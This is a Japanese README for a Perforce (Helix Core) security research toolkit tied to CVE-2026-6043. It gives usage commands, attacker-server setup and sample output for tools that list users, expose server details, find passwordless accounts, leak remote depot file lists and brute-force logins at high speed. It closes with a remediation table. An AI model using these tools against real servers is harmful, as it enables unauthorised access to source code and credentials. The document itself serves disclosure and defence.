
Perforceのセキュリティ研究とツール - CVE-2026-6043
Perforce(Helix Core)のセキュリティ研究ツールとnucleiテンプレート。
研究記事: https://morganrobertson.net/p4wned/
詳細は上記をご覧ください。
許可されたターゲットのみ。自分のサーバー、または明示的な書面による許可を得て使用してください。
対象読者: Perforceサーバー管理者、ペネトレーションテスター、セキュリティエンジニア
2026年5月更新: Perforce 2026.1がリリースされました。このバージョンはセキュアなデフォルト設定で出荷されています!開発者のIPを保護するためにこのリリースが行われたことを大変嬉しく思います。詳細はこちら。
注: これらのツールは、CVE-2026-6043 に起因する設定ミスをスキャンします。
| ツール | 必要条件 |
|---|---|
p4wned.py | Python 3, p4 CLI バイナリ(下記参照) |
p4ghost.py | Python 3, p4 CLI バイナリ, ローカル p4d インスタンス(下記セットアップ参照) |
p4-auth-hammer | g++, Perforce C++ API, OpenSSL 1.1.1(p4-auth-hammer/README.md 参照) |
| JavaScript ツール | Node.js(外部依存関係なし) |
| Nuclei テンプレート | Nuclei v3+ |
| Metasploit モジュール | Metasploit Framework |
p4バイナリの入手(p4wned.py および p4ghost.py で必要):
# Subject to Perforce terms of use: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4
PerforceサーバーはカスタムバイナリTCPプロトコル(デフォルトポート1666)を公開しています。多くのインストールは安全でないデフォルト設定で出荷されています — 認証なしのユーザー一覧表示、サーバー情報公開、アクセス可能なリモートデポ、パスワード不要、ログイン試行のレート制限なし。ここにあるすべてのツールは、認証情報を必要とせずにこれらのデフォルト設定を悪用します。
主要スキャナです。p4 CLI バイナリを使用してユーザー列挙、認証情報のテスト、デポ一覧取得、レポート生成を行います。
python3 p4wned.py [-brute] [-audit] [-parallel N]
オプション:
| フラグ | 説明 |
|---|---|
-brute | ブルートフォースモードを有効にする — 発見された全ユーザーアカウントに対してパスワードをテスト |
-audit | 徹底監査モード — 脆弱性発見後も全ユーザーをテストし続ける |
-parallel N | 並列パスワード試行数(デフォルト: 1) |
設定(スクリプト上部で編集):
機能:
run.users.authorize=0 の場合)super グループメンバーシップ確認コンソール出力:
$ python3 p4wned.py
___ _ _ __ __ __ __ ___
/ _ \ || |/ / /\ \ \/\ \ \/__\/ \
/ /_)/ || |\ \/ \/ / \/ /_\ / /\ /
/ ___/|__ _\ /\ / /\ //__/ /_//
\/ |_| \/ \/\_\ \/\__/___,'
P4WNED - 0wning P4 servers via shit security defaults since Y2K+25
· Sniffs out user accounts, blank passwords, weak creds, and dumb settings.
· Confirms depots access and those juicy "super" user accounts.
· Drops a tidy report so you can fix the mess before the Skids arrive
Authorised targets only, brotendo. Use on your own servers or at your own risk.
==============================================================================
=== Processing: 192.0.2.10:1666 (perforce.example-studio.com) ===
[INFO] Testing user 'super' for security issues...
[INFO] User 'super' does not exist.
[INFO] Users listing accessible: build, designer1, jsmith, lead_prog, svc_build
[INFO] Testing user 'build' for security issues...
[INFO] Testing user 'designer1' for security issues...
[INFO] Testing user 'jsmith' for security issues...
[INFO] Testing user 'lead_prog' for security issues...
[INFO] Testing user 'svc_build' for security issues...
[INFO] Added new credential for 192.0.2.10:1666: user='svc_build', password='None'
[INFO] Saving updated credentials after finding valid credentials for svc_build on 192.0.2.10:1666
[INFO] Report saved to perforce-report-p4wned-1775436520.txt
レポートファイル(perforce-report-p4wned-*.txt):
Perforce Security Scan Report
Server: 192.0.2.10:1666 (perforce.example-studio.com)
Status: Insecure
Note: Insecure via user 'svc_build' (no password)
== Depots ==
Depot depot 2025/11/03 local depot/... 'Default depot'
Depot assets 2024/08/19 local assets/... 'Asset depot'
== Last 10 Changes ==
Change 1047 on 2025/11/03 14:22:11 by lead_prog@DESKTOP-BUILD01
Merge branch feature/ai-pathfinding
Change 1046 on 2025/11/03 09:44:38 by designer1@DESKTOP-ART02
Updated character rig exports
== Depot Details ==
Depot: depot
-- Root Directories --
//depot/Source
//depot/Content
//depot/Config
This depot is a non-Unreal Engine Depot.
------------------------------------------------------------
Summary Report
Server: 192.0.2.10:1666 - Insecure - Note: Insecure via user 'svc_build' (no password)
隠し remote ユーザーを介した認証なしのリモートデポアクセスをテストします。このエクスプロイトは、攻撃者が制御するローカル p4d インスタンスを実行することで動作します — ターゲットサーバーがサーバー間プロトコルの一部として接続を返し、その過程でデポファイル一覧が漏洩します。
セットアップ(初回のみ):
# Subject to Perforce terms of use: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r24.2/bin.linux26x86_64/p4d
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4d p4
# Start a plain ASCII p4d on port 1818 (used as the attacker's server)
mkdir p4root_attacker
./p4d -r ./p4root_attacker -p 1818 -d
# Start a unicode p4d on a separate port (1819) for unicode targets
mkdir p4root_attacker_unicode
./p4d -r ./p4root_attacker_unicode -xi # convert to unicode mode
./p4d -r ./p4root_attacker_unicode -p 1819 -d
python3 p4ghost.py <input_file> [-skipnolicense] [-report FILE] [-p4cmd PATH]
[-unicodeport PORT] [-nonunicodeport PORT] [-timeout SECS]
# Example invocation using the local attacker servers above
python3 p4ghost.py targets.txt -nonunicodeport 1818 -unicodeport 1819
引数:
影響を受けるバージョン: 2025.1 未満で security < 4(デフォルトは0)のすべてのバージョン。
security < 3 の場合に p4d が認証試行を効果的にレート制限しないことを示す概念実証。Perforce C++ API を使用して、単一アカウントに対して毎分30万回以上のログイン試行を達成します。
./p4_auth_hammer_poc <server:port> <username> <password_file> [-ticketauth]
ビルド(Perforce C++ API および OpenSSL 1.1.1 が必要 — 完全なセットアップは p4-auth-hammer/README.md を参照):
bash p4-auth-hammer/p4_auth_hammer_poc_build.sh
モード:
security < 3)。レート制限は完全にバイパスされます。毎分30万回以上の試行。-ticketauth: チケットベースのログイン(security >= 3)。このレベルではレート制限(dm.user.loginattempts)が有効です。SSL および unicode サーバーを自動検出します。最大スループットのためにスレッド数を自動調整します。
修復方法: p4 configure set security=3(または4)。詳細は p4-auth-hammer/README.md を参照してください。
スタンドアロンのNode.jsスクリプト。Node.js標準ライブラリ以外の依存関係はありません。すべてのスクリプトはSSLとプレーンTCP、ASCIIとunicodeサーバーモードを自動検出します — フラグは不要です。
ターゲットファイル形式: host:port を1行に1つ、ポートを省略した場合はデフォルトで1666になります。# で始まる行は無視されます。
p4testascii.example.net:1666
p4testunicode.example.net:1666
p4testunicode.example.net:1667
自動検出: まずプレーンTCPが試行されます。サーバーがPerforce SSLエラーメッセージ("Failed client connect, server using SSL")を返した場合、接続は rejectUnauthorized: false(自己署名証明書を受け入れる)でTLS上で再試行されます。最初にASCIIモードが試行され、サーバーがunicodeエラーメッセージを返した場合、接続は unicode パラメータで再試行されます。
run.users.authorize=0(デフォルト)を悪用して、認証なしで全ユーザーアカウントを一覧表示します。
node javascript/perforce-users.js [targets_file]
出力: [host:port] [tcp|ssl] username <email> "Full Name"
dm.info.hide=0(デフォルト)を悪用して、サーバーバージョン、内部アドレス、ルートパス、ライセンス文字列を抽出します。
node javascript/perforce-info.js [targets_file]
出力:
[host:port] [tcp|ssl]
Version : P4D/LINUX26X86_64/2024.2/2877946
Server Addr: internal-hostname:1666
Server Root: /opt/perforce/p4root
License : Acme Corp
パスワードが設定されていないユーザーアカウントを発見します。タグ付け出力形式(tag パラメータ)を使用して、ユーザーレコードに Password フィールドがないことを検出します。パスワードなしアカウントは認証なしの直接ログインを許可します。
node javascript/perforce-passwordless.js [targets_file]
出力: [host:port] [tcp|ssl] [PASSWORDLESS] username <email> "Full Name"
隠し remote ユーザーを介して rmt-DbPipe サーバー間RPCを悪用し、db.rev テーブルを直接読み取り、認証なしでデポファイルパスとチェンジ番号を抽出します。影響を受けるバージョン: 2025.1 未満で security < 4。
node javascript/perforce-remote.js [targets_file]
出力:
[host:port] [tcp|ssl] 42 file(s) in depot:
[change=7] [2024-11-03] //depot/src/main.cpp
[change=3] [2024-09-12] //depot/config/database.yml
Perforceサーバーからグローバルキー/カウンター値を抽出します。キーにはビルド番号、内部バージョン文字列、設定が含まれる場合があります。
node javascript/perforce-keys.js [targets_file]
出力: [host:port] [tcp|ssl] keyname = value
Nuclei 用のテンプレート。すべてのテンプレートはTCPゲートステップを使用して、JavaScriptペイロードを実行する前にPerforceサーバーが存在することを確認します。テンプレートはJavaScriptツールと同じ自動検出アプローチを使用します。
nuclei -t nuclei-templates/ -u target:1666
nuclei -t nuclei-templates/ -l targets.txt
| テンプレート | ID | 説明 |
|---|---|---|
perforce-detect.yaml | perforce-detection | バイナリプロトコルハンドシェイクを介してPerforceサーバーを検出します。重要度: info。 |
制限: SSL非対応、ポート1666のみ。詳細はJavaScriptツールを参照してください。
Metasploit Framework 用の3つの補助スキャナモジュールと、Perforceバイナリプロトコルを処理する共有ライブラリミックスイン。これらのモジュールは、上記のスタンドアロンツールと同じ脆弱性(ユーザー列挙、パスワードなしアカウント検出、リモートデポ悪用)をカバーします。
すべてのモジュールはASCIIとunicodeサーバーモードを自動検出します。SSLに対応しています。
| モジュール | 説明 |
|---|---|
auxiliary/scanner/perforce/perforce_user_enum | 認証なしのユーザー一覧表示 — ユーザー名、メール、フルネーム、最終アクセス時刻を抽出します。 |
ソースファイルは metasploit/ ディレクトリにあります。Metasploit FrameworkにPRが提出されています。
修復クイックリファレンス:
| 変数 | 説明 |
|---|
INPUT_FILE | ターゲットリスト(ip:port、1行に1つ)— デフォルト perforce-servers.txt |
P4_CMD | p4 バイナリへのパス — デフォルト ./p4 |
TOP_PASSWORDS_FILE | ブルートフォース用ワードリスト — デフォルト top-passwords.txt |
KNOWN_CREDS_FILE | 最初に試す既知の認証情報ペア |
REPORT_FILE | 出力レポートパス |
| フラグ | 説明 |
|---|
input_file | ターゲットリスト(ip:port、1行に1つ) |
-skipnolicense | Server license: none を返すサーバーをスキップ |
-report FILE | 出力レポートパス |
-p4cmd PATH | p4 バイナリへのパス(デフォルト ./p4) |
-unicodeport PORT | 攻撃者サーバーとして使用するローカル unicode p4d ポート |
-nonunicodeport PORT | ローカル非 unicode p4d ポート |
-timeout SECS | コマンドタイムアウト |
| テンプレート | ID | 重要度 | CVSS | 説明 |
|---|
perforce-user-extraction.yaml | perforce-user-enumeration | Medium | 5.3 | 認証なしのユーザー一覧表示 — ASCIIおよびunicodeサーバー。ユーザー名、メール、フルネームを抽出します。 |
perforce-info-disclosure.yaml | perforce-info-disclosure | Medium | 5.3 | サーバー情報公開 — バージョン、内部アドレス、ルートパス、ライセンス。 |
perforce-passwordless-users.yaml | perforce-passwordless-users | Critical | 9.1 | パスワードが設定されていないアカウントを発見します。 |
perforce-remote-depot-unauth.yaml | perforce-remote-depot-access-unauth | High | 7.5 | remote ユーザーを介したリモートデポアクセス — ASCIIおよびunicodeサーバー。ファイルパスとチェンジ番号を抽出します。影響を受けるバージョン: < 2025.1 で security < 4。 |
auxiliary/scanner/perforce/perforce_passwordless| パスワードが設定されていないアカウントを検出します。 |
auxiliary/scanner/perforce/perforce_remote_depot | 隠し remote ユーザーを介したリモートデポファイル列挙。影響を受けるバージョン: < 2025.1 で security < 4。 |
| 発見事項 | 修正方法 |
|---|
| ユーザー列挙 | p4 configure set run.users.authorize=1 |
| 情報公開 | p4 configure set dm.info.hide=1 |
| パスワードなしユーザー | すべてのアカウントにパスワードを設定; p4 configure set dm.user.noautocreate=2 |
| リモートデポアクセス | 2025.1+ にアップグレード、または p4 configure set security=4 |
| 認証レート制限 | p4 configure set security=3(dm.user.loginattempts による効果的なロックアウトを有効化) |
| 上記すべて | p4 configure set security=4 に加えて個別の設定 — security=4 はリモートエクスプロイトを修正しますが、ユーザー一覧表示やサーバー情報は非表示にしません。 |